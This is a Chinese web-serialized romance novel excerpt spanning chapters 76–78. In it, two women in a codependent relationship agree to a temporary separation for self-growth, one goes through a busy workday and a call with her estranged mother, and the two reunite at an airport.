晏辞微终于说出来,一口气沉得好像吐出卡了十年的淤血。 晏辞微说完又把自己缩起来,一片一片的掉着泪。红蝴蝶落在沙发上,淋淋像血。 安迟叙真的没有走,手掌盖着她的背多温暖。 “可是……你还是会不断的有朋友。”晏辞微哭了很久。 久到安迟叙都不确定是不是该放她这么一直哭,想低头去把她吻出来,她才终于开口。 “你是那个柔软又包容,有能力,还有自己坚定意志的猫。只要出现在人群里就会有人被你吸引。我拦不住……也不能拦。”晏辞微只知道不能。 只知道这样对安迟叙不好。 所以一直忍耐着。对安迟叙放手于她而言真的是忍耐。 晏辞微要忍坏了。发条卡着转不动。 安迟叙再不来,她很快就能死在安迟叙怀里,带着笑。 那是完美的解脱。晏辞微想着,期待着。所以不开口。 “先把汤喝了。要凉了。”看晏辞微哭声小了,安迟叙只是端着汤给她,一勺一勺的喂。 好像刚刚没有听见晏辞微泼向她的黑泥。 淤泥是有毒的。在晏辞微体内埋了十年,本该把安迟叙也灼伤。 晏辞微喝汤喝的慢,等待着安迟叙宣判。 她想承诺也有可能被背叛。安迟叙说爱她也曾离开。 汤还是见底了。其实晏辞微已经醒酒,她说了她不需要这个汤。 “我也不喜欢你有朋友。”安迟叙放下碗,说出这番话时笑了。 她捡起那只蝴蝶,重新揣回衣兜。 这是晏辞微给她的礼物。怎么能随意收走。 哪怕,是晏辞微的心脏。 安迟叙一直没有注意到,她有多讨厌晏辞微的朋友们。 尤其是那个家里开银行的,和晏辞微很小就认识的顾知荀。 或者说忮忌。安迟叙想变成她们,替代她们。 从小和晏辞微一起长大。霸占晏辞微的每一个角落,让她没有看向别人的可能。 晏辞微没料到安迟叙会这么说。一双眼都呆了。 这不符合她想象中的任何一条。 她以为安迟叙会说她恶心,骂她。最多无视这个话题。 “我不喜欢那个银行给我办卡的。不喜欢那个跟你一起做项目的。不喜欢学生会一直来找你的。不喜欢拿着广播喊你去开会的。”晏辞微的朋友可比她的多多了。 安迟叙慢慢清点着,没想到自己能说出这么多人。 她不知道她们叫什么名字。所有朋友在她眼里都是同一个符号。 霸占晏辞微。有可能抢走她的符号。 安迟叙知道她只是来得早。只是和晏辞微走得近。只是温顺听话好养活。 她除了自己什么也没有。在听见晏辞微说她一无所有时,安迟叙隐晦的高兴着。 她们是一样的。 那时安迟叙慰藉自己,也想拯救晏辞微。 这样她才有资格和晏辞微站在一起。她是有用的,不会被晏辞微抛弃。 “我都不记得……”晏辞微听着安迟叙清点,真不知道她什么时候还有过这么多“朋友”。 学生时代过去太久了。那些朋友只是阶段性的。 晏辞微从头到尾都没想过和她们深交,一毕业就断联了。 “是啊。”安迟叙掌着晏辞微的背脊真笑了,慢慢温暖她。 “你不记得。我也会忘记她们。她们只是朋友而已。” 对有些人来说友谊是生命之重。对安迟叙来说,她唯一的朋友成了她的爱人。 在她的世界,友谊不如晏辞微重要。什么都不如晏辞微重要。 安迟叙和晏辞微头贴在一起。挤挤得不嫌难受。 安迟叙悄悄伸出舌头去舔晏辞微的眼角。 晏辞微被她刺激的差点弹起来。 “可你还是会和她们一起玩。”晏辞微心情轻松了好多。更多的话也敢说了。 “只是一起玩而已。因为那段时间你不在嘛。你不也会和她们一起玩?” “只是一起玩而已。”晏辞微学她,有点明白了。 偶尔她们也会和彼此之外的人一起玩。是打发时间,或者等待。 可她们依旧是彼此的爱人。没有谁能超过这份关系。 “姐姐好些了吗?”安迟叙看她脸色红润了些,有点不想今夜就提。 晏辞微转过脸闷她耳根,慢慢开口。“不是还有话想说?” “那,我说了。你可以生气,可以咬我,可以哭。不许不要我。”安迟叙学晏辞微。 但给了她最大限度的自由。 安迟叙希望她飞向高空时,晏辞微跟在她身边。有时在前,有时可能落后。 但不要呆在地上仰望她。 没有谁是放风筝的人,不要被那根无形的线束缚。 她们是一对小鸟,应该一同向天飞翔。 晏辞微已经咬住安迟叙的脸了。 安迟叙捧着她的头慢慢开口。 “姐姐是不是,不太有安全感?最近新的相处模式让你很苦恼,对吗?”她刚说完,脸上的咬痛就扩大了。 晏辞微松口改为咬肩膀。多用力的,像之前咬出伤那样狠。 安迟叙笑容苦了,坚持说完。 “是不是一直在忍耐,让着我。是不是不知道该怎么对待我?” 晏辞微松口,滚烫的泪洒在刚咬出来的红痕上。 “我……是不知道。”她开口又觉得酒还没醒。这一件比刚刚那件更黑更有毒。 “我不知道该怎么对你。我太害怕了。我怕我做不好你就要走。我怕我多做一点你就会生气。我怕我少做你就会受伤,我怕我这么想都是错。” 晕晕的,不知怎么就全部说出来了。 晏辞微后悔的抓着安迟叙的衣袖。好像她是在怪罪安迟叙一样。 她只是…… “我只是,只是想让你回来。我想变回之前那样。我想继续牵着你,抓着你的手教你,带着你做任何事。” “我想变回你的妈咪。这样我最安全。因为你没有别人,就永远不会离开我。其实团团……我更怕你走。有那么多人都比我好。她们不会掌控你,不会恨你咬你伤害你。她们可以给你更健康的关系,带你体验更好的感情。” 晏辞微甚至宁愿她不懂。 她宁愿像晏明琼那样犯一辈子的错。至少她可以安全的享受那三十年。 可她已经睁开眼。不可能再回到过去,真正绑住她可怜的小猫,最后闹得一纸离婚书。裴绮玲的离开相当决绝没有回转。 错位的认知和行动让她痛苦到不知所措。 她只敢在入睡前,不安的熬到安迟叙睡沉后,悄悄拿出一卷红绳,牵上她们的手腕,锁住。 好像这样安迟叙就不会跑。 “可她们也不是你啊。”安迟叙心一跳一惊。 她终于知道晏辞微的痛苦,可更无能为力。 只能笨拙的贴过去擦晏辞微的泪,让她咬。想这样安慰她。 晏辞微摇头,看安迟叙执拗,就吻过她伸过来的手腕。那里隐隐的藏着红绳的印记。 “……姐姐。我爱你。” “我知道你也爱我。很爱,很爱。可是姐姐。”安迟叙捧住晏辞微的脸,一定要和她对视。 “你好像不爱你自己。” 安迟叙对上那双愣愣的眼,愈发确信这一点。 她想起晏辞微扎的娃娃。她想起裴绮玲暗示里的话。 缺爱的孩子不会把爱优先流向自己。 她渴望毒药一般渴望着别人能拯救她,于是表演出痛苦的伤口,博一场同情。 “我很讨厌。”晏辞微被捧着不得不和安迟叙对视,被挤着脸蛋又不得不开口。 “我很可恶的。我心理变态,我想做的,做过的事都很肮脏,很恶心。我没有什么值得爱的。” 晏辞微想起自己就想起那一百多只被她杀死的布娃娃。 她亲手解剖了自己一百多次。现在安迟叙要她爱自己。不可笑吗? 爱应该给更好的人,她心中最好的人就是安迟叙。 “可是我爱你。我觉得你很好。你温柔体贴,真诚果敢,包容又独立。工作上能力更强,轻而易举扭转对自己不利的局面。你很会规划,有头脑。能在母亲的监视下掌握自己的势力,能用计谋把讨厌的人都送走。” “爱情上你也做的很好了,你陪伴得太好太好了,从来不让我有可能被抛弃的不安。你给我一个家,一直顾及着,从来不会在外面久留,忘了还有我在。你给的爱这么深,让我都能慢慢找到安心感。你很好,姐姐。真的。” 要安迟叙说晏辞微的优点,她觉得她真能一百条,从早念到晚。 以前她们爱彼此远胜爱自己。安迟叙觉得她好笨好差劲甚至好丑好弱小。怎么配得上晏辞微。 现在她想,她也是一个坚定柔和的好伴侣。她就是应该站在晏辞微身边。 晏辞微被夸的眼神充盈惶恐。 不爱自己的人才没法被夸奖,听见褒扬就想尽办法证明自己的差。 “我不行的。你说的这些好,都是因为你爱我。”晏辞微抓了下安迟叙的手臂又松开。她怕安迟叙疼。 “那,姐姐。你要是都不爱你自己。你要如何恰当的爱我呢?”安迟叙都不怕痛,还抱着她呢,随便她怎么抓掐。 晏辞微被问了懵,哑口无言。 她竟真的说不出来。一个自身没有爱的人要如何给出好的爱。 她以前给安迟叙的爱太坏,她自己最清楚所以这段时间这么痛苦。 “可是,可是我要怎么爱自己?我这个人就是不好,就是阴暗。我甚至想要怪罪你,这接近两个月……最近两周。我,我一直在努力,一直在改。我把选择权都给你了。我竭尽全力的想对你好。” 晏辞微开始不顾一切的证明。假借酒的昏沉,情绪的激动。 “可是我还是,失败了。被你抓在这里说。你可能想说很久了……你是不是觉得我很差劲?居然一直在想这种事……” 安迟叙知道她不过是自我厌弃。 听的怪心酸的。她该早一点发现晏辞微的异样。 可该怎么改呢? 安迟叙是在独立生活的过程中慢慢自洽。 感受到她也是有能力的成年人以后,才惊觉她也可以做得很好。 也值得被她自己所爱。 “我知道。我知道你在努力,也知道你想退回去。我都看得出来,姐姐。看出来也觉得你很好。你一直很爱我。” 难道要分开? 闪出这一个想法时,安迟叙竟不觉得很痛。 她好像很早以前就做好了准备。 分开不是分手,更不是永别。 而这一次,她只是想让她的爱人更好。 “可是我好痛苦啊。团团,小猫……我,我好难受。我每一天都好难受。我不知道该怎么对你。我怕……” 晏辞微沙哑出了眼泪,话断在一半。 安迟叙知道,她也想明白该怎么做了。 “那就分开。”这次,是安迟叙先开口。 也是安迟叙先放手。 “不要!”晏辞微扭住安迟叙的手臂狠狠咬下去。眼泪顺着淌过安迟叙的手臂。 “不要,不要分开。团团,我会改的……我会改好的。只是痛苦一点。我会做到的。你不要抛弃我。” 咬脱之前松口,一喘一喘的哀求,比哭声更苦。 “不是分手。不是抛弃你。”安迟叙怕晏辞微不听,想吻又始终凑不到。 晏辞微在躲她的亲密。她只能同样,咬住晏辞微的脸。 她的咬多轻,柔和的像小猫蹭头。 晏辞微泪停在一半,刮在脸颊,仰起头时被安迟叙吻走。 “不是分手。只是……分开。分开才能更好的成长。分开才能自洽,学会好好爱自己,爱我。” “你放手过,给了我三个月的成长空间,让我成为现在的我。我也该……放手。让你完成你的蜕变。” 安迟叙轻哄着晏辞微。声音越来越像一整个秋,柔和疏冷,有情似无情。 她像裴绮玲,所以也是自然本身,如同给晏辞微讲述一份规律。 叫晏辞微渐渐安宁下来。 好像她们就是应该分开,各自生活直到学会如何爱自己,才能再携手爱彼此。 这是自然规律。是所有人都会经历的正常现象。 她们会没事的,安迟叙不是要和她分手。 “多久?”多久了。晏辞微才聚焦失神的瞳孔,含着苦泪望向晏辞微。 “可能一两个月,可能半年。你会有一天觉得,我可以回来了。”安迟叙抱紧晏辞微。她衣服已经被扯开了。 晏辞微像很久以前一样粗暴、蛮横。说一不二。 却不再那么坚硬。 刺猬柔软的肚皮早已向她的伴侣敞开。 安迟叙被牵引着伸手,满心柔软。 晏辞微伏低,只求安迟叙给她一吻。 给她一个承诺。 …… 时节早就入冬了。 晏辞微提早了两天,赶清晨的航班回s市。 她给安迟叙定的机票没有退。 安迟叙说可以留下。说的时候抱着她,她闷着无声掉眼泪。 此刻是去机场。 两个人没打车,就坐地铁。 天已白,路灯将歇。街上无人,满是薄雾。 白茫茫的冷,一个人在这样的环境走很容易迷失。 晏辞微走在前,安迟叙落在后。 牵着她的红围巾。 她们之间只有一条丝线的联系。 曾经动脉大小的牵引绳渺茫到快要断裂。 她们仰着脑袋,低着头。手却握得很紧。 谁也没有出声。走在路上只听见簌簌的脚步。 她们好像两匹野兽。误闯入城市的街道,你追我赶后离去,只留几根皮毛。 血肉是话语,皮毛是呼吸。 晏辞微走得再缓再迟,也只能听见安迟叙的呼吸声。 晏辞微把心脏留在安迟叙衣兜,所以不需要安迟叙还她一分血肉。 安迟叙给她收拾了行李。前一夜她被安迟叙弄得起不来身,只能趴在床上看。 安迟叙没怎么做过这种事,动作相当笨拙,起初衣服都不知道该怎么折。 可最后她还是收得很完美。 现在晏辞微正拖着那只行李箱。 ——她用来送别安迟叙的行李箱。 也许安迟叙也在里面留了些心机。 晏辞微这段时间没看见她的布娃娃。 也许那不是心机。只是她们无处安放的想念。 她们走了很久,很远。坐着地铁,两个人肩并肩,看着行李箱在车厢左右摆。 哈出的气也形成雾色的云。最初的一口早已飞上天。 到机场了。 晏辞微拖动行李箱向前埋了一步。 c城的冬天不常下雪。她背对着安迟叙却想起三年前的冬天。 那时有雨有雪。交加中她摔在地上多狼狈,一步一折只求安迟叙一次回头。她躲在阴影里的逃犯不肯多给她一眼。 如今冬日的风依旧盛大。冷到要将所有温度都吞没。 而安迟叙就在身后。晏辞微只要想,回头就能抱住她。 “团团。”晏辞微没再留恋。 她想风说的已经足够多。她们彼此循环的雾也足够浓。 三年前的分离宛如死别,两个人都以为此生不会再见,爱化作恨流成脓。 这次的分开却是为了她们更好的未来。 “等我。”晏辞微拉着行李箱,朝安检走去。 安迟叙在界限之外望着她。 保持一个温和的笑,像有死有生的秋。 目送晏辞微离去,直到她变成很小很小的一个点。 她扣好大衣,伸手握住那只皱皱的红蝴蝶。 迟迟的听见了晏辞微的话。 晏辞微温柔,爱她至极,怎么舍得让她久等。 一定会很快的—— 作者有话说:我说这章只写四千,怎么一下子这么多了[害怕]看来还是有可能写到43w嘛 第77章 第 77 章 她是她的桃花源 这是晏辞微普通的一天。 没有安迟叙在。晏辞微全身心投入进工作里。 手机里的监控软件早已删除。 这次分开, 她们说好要变得更好。她不能再听从惰性,依赖有毒的自己。 晏辞微进公司时已经吃完了早饭,手里捧着刚泡好的茶, 开了窗在正式工作前先通了电话。 她自己的公司是做影视平台的。同时也有短视频、电商功能。 短视频部分发展的如火如荼, 平台自己给了二创最大的权限,以此吸引了许多用户入驻,甚至推出了二创约稿交易栏目。 电商部分还在发展。晏辞微近期在忙着发展这一块。 预计明年年底,晏辞微自己开创的公司就要和日安集团合并完成。 部分合并项目会在马上翻过年的二月,也就是春节之后开始推进。 她到底是要回到晏家的。做出这个公司, 只是为了在董事长交接时获得更多股东的支持。 晏昭吟大概还不知道, 她想抢的《暴风营地》本来就是晏辞微自己公司推出的。 等宣布的那天…… 晏辞微挂断电话, 悄悄笑弯眉眼。 她想晏昭吟的表情一定会很好看。 又想起安迟叙的话。 她这样阴险狡诈, 也能是一个很好的人吗? 可不这么做, 晏明琼会看不起她。晏昭吟会抢走她仅剩的底气。 晏辞微淡了笑,坐回办公位上,打开电脑,先把当天的程序运行起来。 又打开会议软件。 早上要先就北美地区的发展、推广展开一次讨论。 这件事主要交给了分部, 也是晏辞微这几个月一直在忙的, 最重要的一个项目。 今天商量的点很小。晏辞微在心里定了时间,不能超过一刻钟。 但开口她就知道计划失败了。两个总监就发展方向、目标用户问题吵了起来。 一个想要瞄准海外华人。说群体足够庞大, 付费意愿高, 平均学历、消费水平都高于当地居民。 一个说既然要做出海业务,就不能只盯着自己人,还得把产品卖给当地人。 两个人各执一词。晏辞微听的头痛, 干脆开了自动记录,在旁边批阅起堆积很久,不太重要的文件。 一个小时之后, 晏辞微开了麦。两个总监终于熄火,看表情依旧没能把对方说服。 晏辞微拍板了。更认可后者的观点。风险大,但收益高。 前者几乎没有风险,几乎不需要花多少力气,要推进也可以等海外入驻完毕。 晏辞微风格大抵如此。较为激进,喜欢拼一把,但也会给自己留后路。 离中午的饭局还有一个多小时。 晏辞微整理好会议,收到会议报告归档,然后通知分部高层,召开季度会议。 只给了她们一个小时时间,让她们尽快汇报上个季度的情况,以及寒假档期的安排、部署情况。 晏辞微从来不需要秘书或者助理。她一个人都能把所有事都做好。 有的总监身后还站了俩助理呢,晏辞微余光看向她们,就好像看见了一年前的小团团。 那时安迟叙也是这样跟在唐殊身后,被使唤来去,每天做最没有意义的工作,帮这个无能的上司擦屁股。一天时间都在杂务里耽搁了。难怪两年还没晋升,这样的工作环境能有什么产出。 晏辞微敲了敲桌板。 “去搬凳子。会议室这么大,难道坐不下吗?”有的人官威都耍到她面前了。 晏辞微看着乏味。她说了多少次,这群人依旧记不住。 “下次再这样,这会就不用开了。你们就坐这儿搬椅子。搬好了,再叠回去。” 总得给这几个喜欢彰显权势的人一个教训。 晏辞微说话没用多少力气。教训人也懒散的撑着脸。手上还在批员工的加班费申请。 但那几个被戳破心思的高层脸色都不大好看,想瞪身后的助理又不敢,只能叫她们赶紧坐下。 几个人抬眸又对上晏辞微那双过黑的眼眸。好像被她吸入深渊,险些一个趔趄原地摔倒。 “策划部先讲。”晏辞微的凝视转瞬就移走。她给警告也只需要一秒,足够起效果了。 晏辞微安排时间精准到秒。果然在秒针走到六十分钟时,掐断了会议。 也刚好把各个部门的情况听完。 没多留人,放她们去吃午饭。 晏辞微自己给自己留了二十分钟梳理归纳,把高危项目挑出来,启程去和自家公司股东吃饭,车上给各部门领导发邮件提醒。 午饭进行了两个小时。边吃边协商该如何与日安集团更好的合并。 有两个股东不大高兴。当初投资时是看在晏辞微个体户好拿捏的份上投的。 如今公司被归入晏家,谁知道她们能得的分红还能不能有那么多。 她们也知道她们在晏辞微个人面前算个大腕,在日安集团面前连名号都排不上。 晏辞微心里想着刚好把两个人换掉。面上还得跟她们推杯换盏,假笑逢迎,看看有没有回转的余地,这俩人想吞下多大的蛋糕。 两个小时下来晏辞微几乎没吃多少东西,回公司路上她抓紧时间小憩。一声叹息都盖不住疲惫。 下午好歹有半个小时的空当。晏辞微把午饭补了,赶去出外勤,和文娱部门的老熟人联系。 有一批新的作品要送审,晏辞微要提前打点关系。 这个还算融洽。她们合作次数很多,日安集团一直是信用企业。 不过还是聊了挺久,主要打探想法,未来推广趋势,晏辞微还给前辈送了茶。 回程已是四点。晏辞微在车上接到艺人部门的高层电话,急匆匆的,说热搜爆了。 晏辞微一边挂着电话一边拿平板打开热搜。 先进的自家平台,知名影后被曝未婚有子,疑似插足别人婚姻的词条稳居第一,热度还在攀升。 不必再去微博之类的地方看,晏辞微想了想,跟自己公司宣传部的人说把握好这次热度,同时交代待会儿会进行的举措。 再浏览了一遍详情,晏辞微也算有了数。 一个电话从本部派了一个团队跟进这件事,要在今天之内把热搜解决,放出辟谣通稿,同时把对家的消息挂出去。 晏辞微想自己这手段也挺脏的。两头通吃,自家艺人都逃不过被她压榨热度提升平台知名度的命运。 给她点补偿吧。晏辞微把一个正准备开始筹备剧组的国际大导演的联系方式发给了那个影后的经纪团队。 晚上还要听项目汇报。晚饭也随便吃了两口。晏辞微在这时接到了晏明琼的电话。 罕见的是,晏明琼打来的是视频电话。晏辞微没注意按了接通,晏明琼的脸出现在屏幕上。 裴绮玲最近一直不回晏家。晏明琼无人相伴,看起来比年中送晏昭吟来的那回还苍老些。 “有事?”晏辞微看见晏明琼的白发,有些恍惚。 印象里的母亲总是雷厉风行,一丝不苟。有白发也会去染黑。 晏辞微总记得她一天精力用不完一样,能把一切安排的井井有条,带着日安集团发展出新高度,深受老股东们的信任。 其实母亲也是人。晏辞微想着晏明琼此刻无暇顾及的白发,眼底压不住的疲惫,眼白猩红的血丝。 她以前总没注意到。盲目崇拜,又盲目怨恨。 长到这个年纪,终于可以更客观的看待晏明琼这个人。 只是,也不太想和她走得太近。 没必要,多肉麻啊。 想想晏辞微就起鸡皮疙瘩。她可受不了晏明琼对她像裴绮玲一样,又是喊她小刺猬又是抱抱摸摸的。 “总部有两个新项目。给你?”晏明琼要先谈事业才会说话一样。 她明显卡顿了几秒才认输。晏辞微猜她肯定不是为了说这个。 “我好像已经抢了一个了。”晏辞微撑着脸,想着是晏明琼的电话,她不必装的无懈可击,怡然自得。 就随手拿起红卡纸。 安迟叙离开后,红卡纸总在最显眼的地方。触手可及。 晏辞微每天都折不止一只,新的蝴蝶装进新的瓶子,只是她不必再给安迟叙写思念的留言。 “那另一个你抽空来四九城交接一下。” 晏明琼想见她了。 晏辞微得到这个结论,低着眉眼忍不住笑。 她好像比想象中更了解晏明琼,随便看一眼就能把这位商业上毫无破绽,微表情都能控制精确不漏真实想法的人看穿。 “为什么?我在这边一样可以。而且,要给我,应该派人来s市吧?”晏辞微才不回去呢。 在等两天她的团团就要来s市了。哪怕不能天天在一起,她也想离她近一点。 晏明琼无话可说,沉默看着晏辞微折蝴蝶。 一眨眼好像看见了裴绮玲。 折纸是裴绮玲闲暇时最爱的手工,简单快捷。 年轻时晏明琼也收集了好多折纸作品。只是裴绮玲的更绚丽,更复杂。远不是这么个平平无奇的小蝴蝶。 她都不知道晏辞微还会这些。 “……你不回来看看猫?你那猫还在我家呢。” 晏明琼不说。晏辞微都把橘子忘了。 她不想让安迟叙分散注意力,就告诉了裴绮玲,她侄女在大学里养猫的事。 说是侄女,其实裴昱希和裴落尘是晏明琼帮裴绮玲找回来的亲人。 裴绮玲是有姐妹的,两个人算是双胞胎,只是生下来之后被不同的福利院收养。 当时晏明琼怕一个晏辞微拉不住她,就费尽心思,真给她找回来两个亲人。 找到这俩崽子时,裴绮玲已经为了晏辞微留在晏明琼身边。 这俩姐妹也没了亲长,裴绮玲动了恻隐之心,这些年一直在照顾她们。 裴绮玲说大学宿舍不方便养猫,裴昱希还没法对小生命负责,橘子就这样留在了晏明琼家。 “又不是我的猫。你怎么不联系我妈咪?”晏明琼和裴绮玲的侄女们不亲。大概也是想从这边联系到裴绮玲。 晏明琼不说话了。 晏辞微折好一只红蝴蝶,捧在掌心端详了一会儿,又觉得没折好,拆了重新来。 十多分钟就这样过去。 “你女朋友呢?今年春节要回家吗?”晏明琼憋不住,终于开了口。 “那也不跟你团圆啊。我家团团有妈咪,我也有。你找晏昭吟去呗。” 晏辞微刺了晏明琼两句,可算舒坦,把新折的红蝴蝶也看顺眼了。 晏明琼闭着眼,似乎下了很大决心一样。 “可我想和你们吃团年饭。”往年哪怕晏辞微不在,裴绮玲也在家。一顿团年饭两个人吃,冷清,但不算寂寞。 想来裴绮玲会去找她侄女,晏辞微和女儿感情正好。晏昭吟跟晏子卿要和自己的朋友们吃饭。今年晏明琼真就独守空房,只有一只橘子。 晏明琼还是把橘子喊了过来,抱在镜头前。 晏辞微眼疾手快,截了图。 “可我不想。”截图完,晏辞微弯了那对和晏明琼一模一样的眉眼。 晏明琼看见她,好像看见了年轻的自己。 听见她,却是听见了裴绮玲。 “……你和玲玲很像。”晏明琼无力执拗,松开手,橘子逃出她的怀抱。 这猫也不愿意和她一起。 行吧,全世界都嫌弃她。 “那还挺荣幸的。妈咪人很好。”晏辞微已经拿上文件开始翻阅了。“没有别的事,就先挂了。我还忙。” 不等晏明琼挽留,晏辞微挂断了电话。 这次和晏明琼说话,竟没吵架,也没崩了情绪。 晏辞微签着字划着有问题的地方,心情愈发轻松。 好像一块遮住天幕的厚布移开。 她才察觉她以前承了多大的压力。 * * * 梳理完今天的事,看过明天的计划。晏辞微发了几封邮件,终于下了班。 打开手机就看见一个好友申请。 像卡准了她的时间一样。 晏辞微步子都停了,赶紧点开。 是安迟叙的好友申请。 她们暑期分手之后一直没再加回来。c城那段时间吃住都在一起,也不需要这个好友。 晏辞微一看才发现,安迟叙中午就给她发了好友申请,只是她一直在忙,竟没有注意到,这会儿是第二条。 团团不会怪罪她吧? 晏辞微急忙通过,手指都打结了,好不容易打出两个字,安迟叙的消息已经来了。 【姐姐,下班了?】安迟叙当然知道她在忙。好歹也监视过她一段时间的生活。 【团团。】晏辞微这才把自己打了好几次的昵称发出去。 【好想你。】心情轻松,就毫无顾忌的表达起思念。 安迟叙给她发了小猫蹭蹭的表情包。 多可爱,那猫儿毛茸茸的软,好像她家团团。 安迟叙也会这么蹭着她,还会抱着她使劲亲,更会…… 晏辞微没注意到自己眉眼多柔和,眼里的蜜意浓到路过的人都得多看一眼,怕被齁闷死。 安迟叙没有说她也是。 只是发来一张照片。 晏辞微点开,是c城的夜空。月亮高悬着,渺小一个白点。 安迟叙的手机不太能拍夜空,拍出来的月牙也朦朦胧胧。更看不见几颗星子。 她却固执的发了好几张。从远到近。周围有梧桐和枯树,一条浑浊的河两岸立着稀稀拉拉的暗灯。 晏辞微不太认得出来她在哪儿。 却,抬头。 仰望着s市的夜空。 今夜s市多云。她没能看见那只白白的点。只能借被照透的灰云,依稀窥见同样的月。 她们共处同一片天空。虽气候不同,但星月一致。 透过月光,好像能看见安迟叙的眼。也是这般浅淡的灰,清澈如潭水。 好想她啊。晏辞微望了许久,直到快把月影变成安迟叙的模样,才堪堪低头。 手机上就跳出了新消息。 【我在和小区认识的朋友吃饭。她们带我去了清吧,临河,风景不是很好,但晚风很舒服。】安迟叙说了她现在正在做的事。 晏辞微边走边看,好像也能看见她的爱人和认识几个月的好友相谈甚欢。 可能聊事业,可能聊猫咪,可能聊爱情,聊她这个人。 一恍惚晏辞微都能嗅到安迟叙身上独特的天竺葵香。 和她的不一样。她们用同一瓶香也能挥发出两种风味。 安迟叙的更柔和甜美,天竺葵的苦几乎被她这个人压住。不凑近只能闻见些许花蜜的甜。 那些话题晏辞微加入不了。 可安迟叙现在正在一点点的讲给她听。 好像她们正在一起。好像安迟叙吃完饭就会回到她们共同的家。独自片刻的乐趣过后,是她们二人的生活。 【我今天忙了一天,都没注意到你的好友申请。】听完了安迟叙的话,晏辞微也开始说。 其实很久以前她最擅长做这种事。把团团囚在她身边,只有她。她能出去和各种人周旋,打猎一般哺育她的小猫。 晏辞微讲了一句就觉得熟悉。 再讲第二句,又觉得陌生。 以前安迟叙只会在她怀里。只会听着。一切都和她毫不相干。 现在安迟叙远在屏幕那一头,却和她做着差不多的事。 【我知道你在忙呀。我们大总经理肯定很忙咯。这么忙还能有空跟我发消息,姐姐的时间规划很好嘛。】安迟叙不想打字,就发了语音。 晏辞微点开听着她软软的尾音,眼里的笑意愈浓。 从此思念不再苦涩。像天竺葵的冷香,甜苦的风味里,甜蜜才是主调。 她在想安迟叙。 安迟叙也在想她。 不会生气,不会走。还会夸她呢。 “哪儿那么好。就会夸我。”晏辞微也按下语音。 “你太缺夸了,我就得多夸夸你。”一人一句的,好像她们正手牵手的一起聊天。 好像安迟叙说很舒服的晚风,顺着她的话穿透屏幕。 好像晏辞微眼里朦胧的云,也在一次眨眼里交换给安迟叙。 “我母亲今天给我打了电话。”晏辞微越走步子越快。给安迟叙讲起晏明琼的话,又把橘子的照片发给她。 越说,情绪越高涨。 好像没有什么可以担心,没有什么值得愁苦。 哪怕讲是她以前不肯告诉安迟叙的话。 她的母亲,她一个人的崩溃和脾气,她最丑的姿态所在。 “你不止像你妈咪。”安迟叙紧接着发来好长一条语音。 “你比她好一百倍,一万倍。你也温柔体贴,也会爱人。你二十岁就比她厉害这么多,等到五十岁,也会比她更有魅力。”更让人喜欢。 安迟叙还是藏了一句话不敢说。 怕晏辞微咬她肩膀。 【再夸我下线了。】晏辞微只是听了一遍,耳朵就红透了。 她现在就想咬安迟叙的肩膀。羞愤欲逃。 【那明天再夸咯,姐姐,我要回家了,晚点联系。】安迟叙也不坚持,真放晏辞微走了。 牵着的手忽然松开。 晏辞微站在原地,等了两分钟也没等到下一条消息。 本能的恐惧刚浮起。 又被安迟叙离开时发的猫猫亲亲抚平。 她只是去赶路了。 晏辞微收好手机,也要赶路回家。 她步子快成一支舞,慢慢的面上有了实质的笑。 笑容在疾走变成快跑时扩大出声。晏辞微此刻也好想找一个地方漫无目的地冲刺,奔跑,莽撞,再摔倒。 她到底没那么张扬,只笑了一声就收敛下去,可也真的跑了起来,朝不知名的地方全速奔跑。 眼里还挂着笑。闪过路灯,路灯也亮了。 后来晏辞微真的摔倒在地上。 腿肚子有些无力,抽了抽。身上却不痛。 她摔在草地里,除了脏,还有无可比拟的柔软。仰头望向天空,还能嗅到清新的雨泥味。 晏辞微喘着气睁开眼。一束月光恰好落在脸上。 乌云已经移开了。她真的在s市看见了安迟叙见过的那一轮月。 不亮不圆,很高渺,肉眼看过去也只剩一个点。 可这点光也足够了。晏辞微慢慢缓着呼吸拿起手机,对着丑丑的月拍下她的照片。 然后眨眼,任一行泪滑落,浇灌身下干枯的野草,来年收获它的新生。 晏辞微呼出一口气。又是一行泪。 再吐出白雾,遮了丑月。一天的疲惫爆发开,拉着她想在此沉睡。 晏辞微慢慢呼吸,慢慢流泪,慢慢的,把紧绷的弦松开。 其实她的生活也不好。 人生没有谁容易。各有各的烦恼。 她在这样高的位置,处理的事多又杂,一天经手的事太多,她习惯于把情绪收敛好,不让它们影响判断。 她的苦事多复杂。家庭关系更甚,唯一亲近的妈咪和母亲离了婚,以后不再和她们生活在一起。 只是啊。 晏辞微慢慢站起来,看过手机,便有了她的力量。 她的生活虽苦,可她有她的糖。 安迟叙是她精心挑选的小猫,亲自抚养的女儿。 她最最信任的伴侣,能安心交出自己的爱人。 安迟叙总说,晏辞微给了她一个家,是她的妈咪,照顾她的避风港,拯救她的药。 说她一千条好,一万条好,把她捧上天。 可是。 安迟叙不知道。 她是她逃离苦涩生活的世外之地。 安迟叙是晏辞微的桃花源。 晏辞微点开小桃花到家后发来的照片。是安迟叙今天留在回忆录上的简笔画。 上面有一只刺猬,抱着一只小猫。 安迟叙只会画简笔画,小时候乐此不疲的给晏辞微留言画在课本上。 十年过去画风竟然没有变,还是这么圆圆萌萌的。 晏辞微把苦闷全都消解。只要品安迟叙一口就能恢复全部的活力。 会很快的。 晏辞微算着日子往家走。 她不会让安迟叙等太久—— 作者有话说:[害怕]差点写出bug了,这就是写前面的脑子不跟写后面的脑子交流的结果(俗称忘性大还不写纲) 第78章 第 78 章 她是她的必修课 安迟叙的航班起飞了。 晏辞微坐在赶往机场的车上, 手里不断敲着键盘,还在忙她公司的事。 眉心松弛,没了往日的紧绷, 这两日谁见了她都觉得她多了一分优雅雍容的神秘感。 好像迈过二十五岁的坎儿, 褪去青涩,逐渐朝三十岁的年纪走。 举手投足都有了成熟的风韵。配上一双沉静的黑眸,魅力无限。 一个季度不见她的合作商都说有些不敢认,想问她是不是遇到了什么大事。 晏辞微都看在眼里,心也更轻松了。 她正要去接她的团团。 尽管没有提前跟安迟叙说。 但晏辞微也只空着手去, 不做别的, 她猜安迟叙不会拒绝。 * * * 晏辞微等了两个多小时, c城到s市的航班窗口终于开放了。 晏辞微把电脑收起来, 耳机也关好。忍不住起身去望。 她托了关系进到机场内。安迟叙只要下飞机, 走过廊桥就能看见她。 航班没有满座。人稀稀拉拉的走过,都不是晏辞微要找的那一个。 心跳加速。 尽管阳光从巨大的透明落地窗照进眼,视野又黑又模糊。 晏辞微也在第一时间感应到安迟叙来了。 是行李箱特别的拖动。 是那个看似高达其实没有存在感的身影。 是那股若有若无的清香。 晏辞微仰头望过去。 安迟叙却已经跑到她面前了。 